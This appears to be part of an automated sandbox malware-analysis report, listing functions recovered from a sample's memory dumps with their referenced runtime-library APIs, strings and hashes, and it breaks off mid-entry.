Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: e08342c68311db08f90951fc9b00c94de2415473bf04efcfd388f342639b2eb5
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: 6ED11D71900209AFDB14EFA8D895AEEBBB4EF08304F10457BE505F72D1EB389A45CB59

Function 00410296 Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00410435
DName::operator=.LIBCMT ref: 004104E3
DName::operator+=.LIBCMT ref: 0041050E
DName::DName.LIBCMT ref: 00410573
DName::operator+.LIBCMT ref: 0041057A
DName::DName.LIBCMT ref: 0041059D
DName::operator+.LIBCMT ref: 004105A4
DName::operator+=.LIBCMT ref: 004105B0
DName::operator=.LIBCMT ref: 004105D7
DName::operator+=.LIBCMT ref: 004105E9
UnDecorator::getPtrRefType.LIBCMT ref: 00410612
operator+.LIBCMT ref: 00410624

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: af6ada85476933f22190ccb96e11c4a4a8737d57807124f0d82f00c86f08dd13
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: 7D91C271A00209ABCB24DF58C986AFE7B74AF04315F24816BF511E6292D7BCDAC1CB5D

Function 00415B0C Relevance: 24.1, APIs: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00415B25
__calloc_crt.LIBCMT ref: 00415B49
_free.LIBCMT ref: 00415B57
__calloc_crt.LIBCMT ref: 00415B65
_free.LIBCMT ref: 00415B75
_free.LIBCMT ref: 00415B7B
__copytlocinfo_nolock.LIBCMT ref: 00415B8A
__setlocale_nolock.LIBCMT ref: 00415B97
___removelocaleref.LIBCMT ref: 00415BA3
___freetlocinfo.LIBCMT ref: 00415BAA
_free.LIBCMT ref: 00415BB0
__setmbcp_nolock.LIBCMT ref: 00415BC2
_free.LIBCMT ref: 00415BD0
___removelocaleref.LIBCMT ref: 00415BD7
___freetlocinfo.LIBCMT ref: 00415BDE
_free.LIBCMT ref: 00415BE4

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 8920a970c6d6b0f7f0ce6c02661ac5459a6ae84f00e60c1c2951308406d31f9b
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: AD21F335208A00EBD7217F26D802DCBBBE4DFC0754B20842FF4856A2A1DE3DA9D18A5D

Function 00411B0F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__mtterm.LIBCMT ref: 00411B23
__init_pointers.LIBCMT ref: 00411BD5
__calloc_crt.LIBCMT ref: 00411C43
__initptd.LIBCMT ref: 00411C68

Strings

8KCEZFIOFH9TE6XG1D, xrefs: 00411C23
ierarchy Descriptor', xrefs: 00411C32

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID: 8KCEZFIOFH9TE6XG1D$ierarchy Descriptor'
API String ID: 3132042578-2307534999
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: 3ea08bfa49c534944e95a61b6656b5bee17f94ccc58e22d6436d6d3d7c034029
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: 7A316B35D443509ADB22AF79AD48A963BA4EF44761F10063BE610D32B1EFB9D480CF8D

Function 003C53B1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 003C53B8
std::_Lockit::_Lockit.LIBCPMT ref: 003C53C2
int.LIBCPMT ref: 003C53D9

Part of subcall function 003C16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003C16C5
Part of subcall function 003C16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003C16DF

std::_Facet_Register.LIBCPMT ref: 003C5413
std::_Lockit::~_Lockit.LIBCPMT ref: 003C5433
Concurrency::cancel_current_task.LIBCPMT ref: 003C5440

Strings

R[<, xrefs: 003C5420

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID: R[<
API String ID: 55977855-3864648660
Opcode ID: 85aeab9b386624646605036ce231c6519b2c09fb32a771f7d474bc203d01e790
Instruction ID: a4e7e2d21810709f49900ff9dc197a670d27973e0ee4e4227ffee93445111c43
Opcode Fuzzy Hash: 85aeab9b386624646605036ce231c6519b2c09fb32a771f7d474bc203d01e790
Instruction Fuzzy Hash: 8111E175910A288BCB16EB64C806FAEB7B4FF45321F54050DF801EB292DFB0AE408B81

Function 003CA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 003CA6E7
___TypeMatch.LIBVCRUNTIME ref: 003CA7F5
CallUnexpected.LIBVCRUNTIME ref: 003CA962

Strings

csm, xrefs: 003CA71E
csm, xrefs: 003CA672
csm, xrefs: 003CA605

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 7792b3ccb3546a58625645cf7bf5b5dce4b04f81f1491407c78c73f9f7d8e442
Instruction ID: 71748a70b7d265b8080f85acbf558099212d492443fc611e8d8a02c5323e5bcc
Opcode Fuzzy Hash: 7792b3ccb3546a58625645cf7bf5b5dce4b04f81f1491407c78c73f9f7d8e442
Instruction Fuzzy Hash: 79B16931800A1DEFCF16DFA4C881EAEBBB5BF04318B16455EE811AB212D731DE51CB92

Function 00401BA0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401C27
_memset.LIBCMT ref: 00401C38
_memset.LIBCMT ref: 00401D00
_memset.LIBCMT ref: 00401D6C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00401E8E

Strings

onstructor closure', xrefs: 00401BAD

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: onstructor closure'
API String ID: 2583058844-875567771
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: e9c7b39a4b7d6240b2df306fece9106941b74686997c72888b1637b2ca45f6ae
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: 60C11A72D0021AABCF22EB64DC45AEE777DAF08304F1141B6FA09B6190DB399F858F55

Function 003D5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,07544524,?,003D6057,003CC446,?,F8250000,00000000), ref: 003D600B

Strings

ext-ms-, xrefs: 003D5FB5
api-ms-, xrefs: 003D5FA1

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2d738371aadd439d57f320de39a5c749bb11f5812ce836a9750c21d65c76ddb6
Instruction ID: 4a57ec10e7a2be34a2855317ba4095884a767a7c077b186ca3768b99308ad478
Opcode Fuzzy Hash: 2d738371aadd439d57f320de39a5c749bb11f5812ce836a9750c21d65c76ddb6
Instruction Fuzzy Hash: 1021A537A05651E7C7339B65FC85A5E776CAB417A0F250226F916AF3D0DA30EE04C690

Function 0040E2D3 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 0040E2DD
DName::DName.LIBCMT ref: 0040E2E9

Part of subcall function 0040BFB4: DName::doPchar.LIBCMT ref: 0040BFE5

UnDecorator::getScopedName.LIBCMT ref: 0040E328
DName::operator+=.LIBCMT ref: 0040E332
DName::operator+=.LIBCMT ref: 0040E341
DName::operator+=.LIBCMT ref: 0040E34D
DName::operator+=.LIBCMT ref: 0040E35A

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: a385d50caf5d98c0d482af16717958cd5cb0609465ffcc87a184ec7ed8b17559
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: 5911A371900204AFC705EB65C856AAE7FB0EF00305F4440BEE402FB3E2DB789A41CB59

Function 003C507A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003C5081
std::_Lockit::_Lockit.LIBCPMT ref: 003C508C
std::locale::_Setgloballocale.LIBCPMT ref: 003C50A7
_Yarn.LIBCPMT ref: 003C50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 003C50FA

Strings

R[<, xrefs: 003C50C9, 003C50ED

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID: R[<
API String ID: 156189095-3864648660
Opcode ID: c629a24b1f008994dff888f50939a1ae520245b9181502783078f37a6f9a9751
Instruction ID: 4a7630bfa7aaeefc0ab4763b712c673c98dc88f9ff099ef8fce752961a138c5c
Opcode Fuzzy Hash: c629a24b1f008994dff888f50939a1ae520245b9181502783078f37a6f9a9751
Instruction Fuzzy Hash: 05019A35A005A08BD707AB20D85AF7C7BA1BB85350B18400DE8019B381CB34BE42CB86

Function 003D0F50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,07544524,?,?,00000000,003E1FC8,000000FF,?,003D0EE0,003D1010,?,003D0EB4,00000000), ref: 003D0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 003D0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,003E1FC8,000000FF,?,003D0EE0,003D1010,?,003D0EB4,00000000), ref: 003D0FB9

Strings

R[<, xrefs: 003D0FA8
CorExitProcess, xrefs: 003D0F8F
mscoree.dll, xrefs: 003D0F7E

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$R[<$mscoree.dll
API String ID: 4061214504-2293391486
Opcode ID: 6da63c47b7c9fa87d3070c7609f15ede532462d2d5ea6f29e14aa0d45ec038fb
Instruction ID: 27857ab1fe754d384d878a264eecfd7badb2a1c7ba56100dbca7553ad9661f42
Opcode Fuzzy Hash: 6da63c47b7c9fa87d3070c7609f15ede532462d2d5ea6f29e14aa0d45ec038fb
Instruction Fuzzy Hash: 43016732504665EFDB279B51DC49FAEBBBCFB44B14F050729F811A62D0DB749D04CA90

Function 003DF356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba2e3b0de3d40b2274beda38922fc21bf8bb30fe4b2664d025b158a51f77d49
Instruction ID: cb89e424017ba4b119fb8fc74561020f5bd10a28d5a20005a631cc1a808b4bb2
Opcode Fuzzy Hash: aba2e3b0de3d40b2274beda38922fc21bf8bb30fe4b2664d025b158a51f77d49
Instruction Fuzzy Hash: CAB1D276A002059FDB12DFA9E8C5BADBBB5BF45304F15417AE4029B3A2C771DE41CB60

Function 003FB05E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003FB08F
_memset.LIBCMT ref: 003FB0AF
_memset.LIBCMT ref: 003FB0C0
_memset.LIBCMT ref: 003FB0D1

Strings

onstructor closure', xrefs: 003FB067

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: fd48179f55965a701eaf99d5433802a1ad6a4fe21e1c49ed8cdd30a415010f10
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: 9FD1E6B291012DAEDB21EB90DC86BE9B778AF04344F1015E7A618B7051EB747F89CF61

Function 004102F3 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 004104E3

Part of subcall function 0040C2B4: DName::doPchar.LIBCMT ref: 0040C2DD

DName::DName.LIBCMT ref: 00410573
DName::operator+.LIBCMT ref: 0041057A
DName::DName.LIBCMT ref: 0041059D
DName::operator+.LIBCMT ref: 004105A4
DName::operator+=.LIBCMT ref: 004105B0
DName::operator=.LIBCMT ref: 004105D7
DName::operator+=.LIBCMT ref: 004105E9
DName::operator=.LIBCMT ref: 004105FD
UnDecorator::getPtrRefType.LIBCMT ref: 00410612
operator+.LIBCMT ref: 00410624

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: 79d79b04ba01ef2c2341ca0ec4b5bf47ad2f2c2e1239d83c2e35e65db75a66ea
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: DE219F76B0014AAACF18DFACC9859FEBB759B04304F40416BA601E7681DEB8DEC58E18

Function 004102FD Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 004104E3

Part of subcall function 0040C2B4: DName::doPchar.LIBCMT ref: 0040C2DD

DName::DName.LIBCMT ref: 00410573
DName::operator+.LIBCMT ref: 0041057A
DName::DName.LIBCMT ref: 0041059D
DName::operator+.LIBCMT ref: 004105A4
DName::operator+=.LIBCMT ref: 004105B0
DName::operator=.LIBCMT ref: 004105D7
DName::operator+=.LIBCMT ref: 004105E9
DName::operator=.LIBCMT ref: 004105FD
UnDecorator::getPtrRefType.LIBCMT ref: 00410612
operator+.LIBCMT ref: 00410624

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: f14fd2766ed20d27f45dee5a4bca7fa1c99f9893cf097e1dc0b259a30788a4c6
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 55219F76B0014AAACF18DFACC9859FE7B769B04304F40416BA601E7681DEB8DAC58E18

Function 00410307 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 004104E3

Part of subcall function 0040C2B4: DName::doPchar.LIBCMT ref: 0040C2DD

DName::DName.LIBCMT ref: 00410573
DName::operator+.LIBCMT ref: 0041057A
DName::DName.LIBCMT ref: 0041059D
DName::operator+.LIBCMT ref: 004105A4
DName::operator+=.LIBCMT ref: 004105B0
DName::operator=.LIBCMT ref: 004105D7
DName::operator+=.LIBCMT ref: 004105E9
DName::operator=.LIBCMT ref: 004105FD
UnDecorator::getPtrRefType.LIBCMT ref: 00410612
operator+.LIBCMT ref: 00410624

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
